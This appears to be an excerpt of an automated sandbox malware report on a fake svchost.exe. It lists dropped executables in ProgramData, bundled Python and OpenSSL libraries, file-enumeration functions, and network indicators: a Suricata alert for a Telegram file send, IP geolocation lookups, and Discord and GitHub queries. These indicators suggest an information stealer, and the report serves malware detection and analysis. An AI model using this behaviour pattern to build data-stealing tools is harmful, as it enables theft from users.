Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231C99 HMAC_CTX_new,EVP_CIPHER_CTX_new,EVP_sha256,HMAC_Init_ex,EVP_aes_256_cbc,HMAC_size,EVP_CIPHER_CTX_iv_length,HMAC_Update,HMAC_Final,CRYPTO_memcmp,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_CTX_iv_length,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,	13_2_00007FFB02231C99
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223DFA0 CRYPTO_free,	13_2_00007FFB0223DFA0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022314FB EVP_PKEY_get1_tls_encodedpoint,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	13_2_00007FFB022314FB
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224A000 CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB0224A000
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022316F9 CRYPTO_free,	13_2_00007FFB022316F9
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231C8F CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02231C8F
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022320B8 CRYPTO_free,CRYPTO_malloc,memcpy,	13_2_00007FFB022320B8
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224E090 CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	13_2_00007FFB0224E090
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224FCC0 CRYPTO_zalloc,ERR_put_error,CRYPTO_free,	13_2_00007FFB0224FCC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231348 CRYPTO_zalloc,ERR_put_error,	13_2_00007FFB02231348
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0229DCA0 SRP_Calc_u,BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free,	13_2_00007FFB0229DCA0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0226FD10 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0226FD10
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02247D30 CRYPTO_zalloc,	13_2_00007FFB02247D30
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223102D CRYPTO_malloc,COMP_expand_block,	13_2_00007FFB0223102D
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227BD80 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB0227BD80
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02253D60 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02253D60
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022323BF CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB022323BF
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022316D1 CRYPTO_zalloc,ERR_put_error,	13_2_00007FFB022316D1
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02245DB0 CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	13_2_00007FFB02245DB0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231979 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02231979
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231FF5 CRYPTO_free,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02231FF5
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022311EA CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow,CRYPTO_free,	13_2_00007FFB022311EA
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267DE0 CRYPTO_free,	13_2_00007FFB02267DE0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267E50 CRYPTO_free,	13_2_00007FFB02267E50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02239E40 CRYPTO_malloc,memset,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02239E40
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232527 ERR_put_error,CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02232527

Source: svchost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Build.exe, 00000008.00000002.1315472158.0000000000BD6000.00000002.00000001.01000000.00000007.sdmp, Build.exe, 00000008.00000000.1288928382.0000000000BD6000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318383886.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318518944.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1731689375.00007FFB0B0DC000.00000040.00000001.01000000.00000026.sdmp, hacn.exe, 0000000D.00000002.1615633006.00007FFB0209C000.00000002.00000001.01000000.00000034.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317380900.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1736377163.00007FFB0CAEB000.00000040.00000001.01000000.00000012.sdmp, hacn.exe, 0000000D.00000002.1617366112.00007FFB0211B000.00000002.00000001.01000000.00000031.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317748057.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: based.exe, 0000000C.00000002.1733760402.00007FFB0B7A6000.00000040.00000001.01000000.00000021.sdmp, hacn.exe, 0000000D.00000002.1619265610.00007FFB022A6000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: hacn.exe, 00000009.00000003.1312899991.000001ECA6241000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1625623255.00007FFB1B9F5000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317380900.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: based.exe, 0000000C.00000002.1732269707.00007FFB0B340000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317496227.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\pywintypes.pdb source: hacn.exe, 0000000D.00000002.1615071431.00007FFB01ED0000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318653656.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: based.exe, 0000000C.00000002.1732269707.00007FFB0B3C2000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: hacn.exe, 00000009.00000003.1317621694.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318383886.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: based.exe, 0000000C.00000002.1733760402.00007FFB0B7A6000.00000040.00000001.01000000.00000021.sdmp, hacn.exe, 0000000D.00000002.1619265610.00007FFB022A6000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317496227.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1738053601.00007FFB1D5B1000.00000040.00000001.01000000.0000001D.sdmp, hacn.exe, 0000000D.00000002.1627160306.00007FFB1D543000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317974807.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: based.exe, 0000000C.00000002.1732269707.00007FFB0B340000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: svchost.exe, 00000000.00000003.1263725197.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1298455332.00007FFB1C301000.00000002.00000001.01000000.00000006.sdmp, hacn.exe, 00000009.00000003.1312340200.000001ECA6240000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1315043510.000001C577E16000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1737595791.00007FFB1BB21000.00000002.00000001.01000000.0000000F.sdmp, hacn.exe, 0000000D.00000002.1625904169.00007FFB1BA51000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317974807.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318216249.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: based.exe, based.exe, 0000000C.00000002.1736690634.00007FFB16791000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, based.exe, 0000000C.00000002.1733429478.00007FFB0B711000.00000040.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: hacn.exe, 0000000D.00000002.1614418277.00007FFB01EA3000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318764292.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318216249.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317748057.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python310.pdb source: svchost.exe, 00000007.00000002.1296866084.00007FFB0C35F000.00000040.00000001.01000000.00000005.sdmp, based.exe, 0000000C.00000002.1735471064.00007FFB0C2CF000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: hacn.exe, 0000000D.00000002.1614418277.00007FFB01EA3000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1737790330.00007FFB1D341000.00000040.00000001.01000000.00000025.sdmp, hacn.exe, 0000000D.00000002.1629051984.00007FFB22653000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1736377163.00007FFB0CAEB000.00000040.00000001.01000000.00000012.sdmp, hacn.exe, 0000000D.00000002.1617366112.00007FFB0211B000.00000002.00000001.01000000.00000031.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, based.exe, 0000000C.00000002.1737316978.00007FFB1AB01000.00000040.00000001.01000000.00000017.sdmp, hacn.exe, 0000000D.00000002.1628720514.00007FFB1E67D000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\pywintypes.pdb** source: hacn.exe, 0000000D.00000002.1615071431.00007FFB01ED0000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318518944.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1734569058.00007FFB0B841000.00000040.00000001.01000000.0000001C.sdmp, hacn.exe, 0000000D.00000002.1622391264.00007FFB0B828000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: hacn.exe, 00000009.00000003.1317621694.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: based.exe, 0000000C.00000002.1737008983.00007FFB174C1000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1605804760.00000243ED810000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: hacn.exe, 00000009.00000003.1332960543.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1626590704.00007FFB1C2E5000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318764292.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318653656.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: based.exe, 0000000C.00000002.1734282606.00007FFB0B7F1000.00000040.00000001.01000000.00000020.sdmp, hacn.exe, 0000000D.00000002.1627735709.00007FFB1E3AD000.00000002.00000001.01000000.00000029.sdmp

Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671187780 FindFirstFileExW,FindClose,	0_2_00007FF671187780
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	7_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711964A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	7_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671187780 FindFirstFileExW,FindClose,	7_2_00007FF671187780
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BAC4A8 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00BAC4A8
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BBE560 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	8_2_00BBE560
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Code function: 8_2_00BCD998 FindFirstFileExA,	8_2_00BCD998
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B892F0 FindFirstFileExW,FindClose,	9_2_00007FF670B892F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670B883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF670B883B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 9_2_00007FF670BA18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF670BA18E4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	11_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7C7780 FindFirstFileExW,FindClose,	11_2_00007FF64E7C7780
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	11_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 11_2_00007FF64E7E0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF64E7E0CE4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7C7780 FindFirstFileExW,FindClose,	12_2_00007FF64E7C7780
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7E0CE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_00007FF64E7E0CE4
Source: C:\ProgramData\Microsoft\based.exe	Code function: 12_2_00007FF64E7D64A4 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	12_2_00007FF64E7D64A4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B892F0 FindFirstFileExW,FindClose,	13_2_00007FF670B892F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670B883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	13_2_00007FF670B883B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FF670BA18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	13_2_00007FF670BA18E4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01E93740 _PyArg_ParseTuple_SizeT,?PyWinObject_AsWCHAR@@YAHPEAU_object@@PEAPEA_WHPEAK@Z,PyList_New,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,FindFirstFileW,GetLastError,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,?PyObject_FromWIN32_FIND_DATAW@@YAPEAU_object@@PEAU_WIN32_FIND_DATAW@@@Z,PyList_Append,_Py_Dealloc,FindNextFileW,GetLastError,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,?PyWinObject_FreeWCHAR@@YAXPEA_W@Z,FindClose,_Py_Dealloc,	13_2_00007FFB01E93740

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E955A0 _PyArg_ParseTuple_SizeT,GetLogicalDriveStringsW,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,GetLogicalDriveStringsW,?PyWinObject_FromOLECHAR@@YAPEAU_object@@PEB_W_J@Z,

13_2_00007FFB01E955A0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49915 -> 149.154.167.220:443

Queries Google from non browser process on port 80

Source: C:\ProgramData\Microsoft\hacn.exe

HTTP traffic: GET / HTTP/1.1 Host: www.google.com User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, br, zstd Accept: */* Connection: keep-alive

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Feb 2025 18:04:40 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=ISO-8859-1Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-uxdJxlXt8sFjLRgynphawQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hpP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Encoding: gzipServer: gwsContent-Length: 9467X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: AEC=AVcja2cxl9dyfXfF66COWX9nZXsxxs4CkMuNTHm8DiIVm4sg-thbWpiHd-I; expires=Thu, 31-Jul-2025 18:04:40 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=laxSet-Cookie: NID=521=uCbBn3TmPRQ34INaSPRCee-cH9NEBeivL2PY9_k-fHPo1CLePbznmlvLnBvrsfOcXoxhL7_WJf6WjVUpscOr5ZTdiBCFsyIm3F_Z76ht-RbpEhcmLs_6uo1vXhstrAwBOqCsnjpMcTKJJm6Mq-YG_aVhNpTSdvJb8b6Pf2hFSOGeiZ0T-zleWACHcn0p4ZpNNZTbmbWEmgtg0bTVhzQ; expires=Sun, 03-Aug-2025 18:04:40 GMT; path=/; domain=.google.com; HttpOnlyData Raw: 1f 8b 08 00 00 00 00 00 02 ff d5 7c 69 57 e3 38 b0 e8 f7 f9 15 c6 73 07 e2 83 71 6c 67 8f 31 dc b0 f5 06 4d 77 d3 3b c3 e5 c9 b6 92 b8 e3 0d db 21 09 90 ff fe aa 24 6f 09 e9 9e e5 de 73 df 79 b3 10 5b 2a d5 a6 52 a9 4a 8b f7 b7 9c d0 4e 17 11 15 c6 a9 ef 1d ec e3 5f c1 4d a9 9f d8 61 44 4d 51 64 2f 08 60 8a e3 34 8d fa f5 7a 62 8f a9 4f 94 30 1e d5 bf 50 eb 1d 19 51 51 f0 48 30 32 45 1a 88 80 81 12 e7 60 df a7 29 11 ec 30 48 69 90 9a e2 15 25 b1 3d 16 d2 31 15 66 61 ec 39 3b 89 e0 06 c3 30 f6 49 ea 86 81 0c 2f b6 37 75 dc 60 24 Data Ascii: |iW8sqlg1Mw;!$osy[*RJN_MaDMQd/`4zbO0PQQH02E`)0Hi%=1fa9;0I/7u`$

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflate, br, zstdAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: })();</script><div id="mngb"><div id=gbar><nobr><b class=gb1>Search</b> <a class=gb1 href="https://www.google.com/imghp?hl=en&tab=wi">Images</a> <a class=gb1 href="http://maps.google.com/maps?hl=en&tab=wl">Maps</a> <a class=gb1 href="https://play.google.com/?hl=en&tab=w8">Play</a> <a class=gb1 href="https://www.youtube.com/?tab=w1">YouTube</a> <a class=gb1 href="https://news.google.com/?tab=wn">News</a> <a class=gb1 href="https://mail.google.com/mail/?tab=wm">Gmail</a> <a class=gb1 href="https://drive.google.com/?tab=wo">Drive</a> <a class=gb1 style="text-decoration:none" href="https://www.google.com/intl/en/about/products?tab=wh"><u>More</u> »</a></nobr></div><div id=guser width=100%><nobr><span equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: canary.discord.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

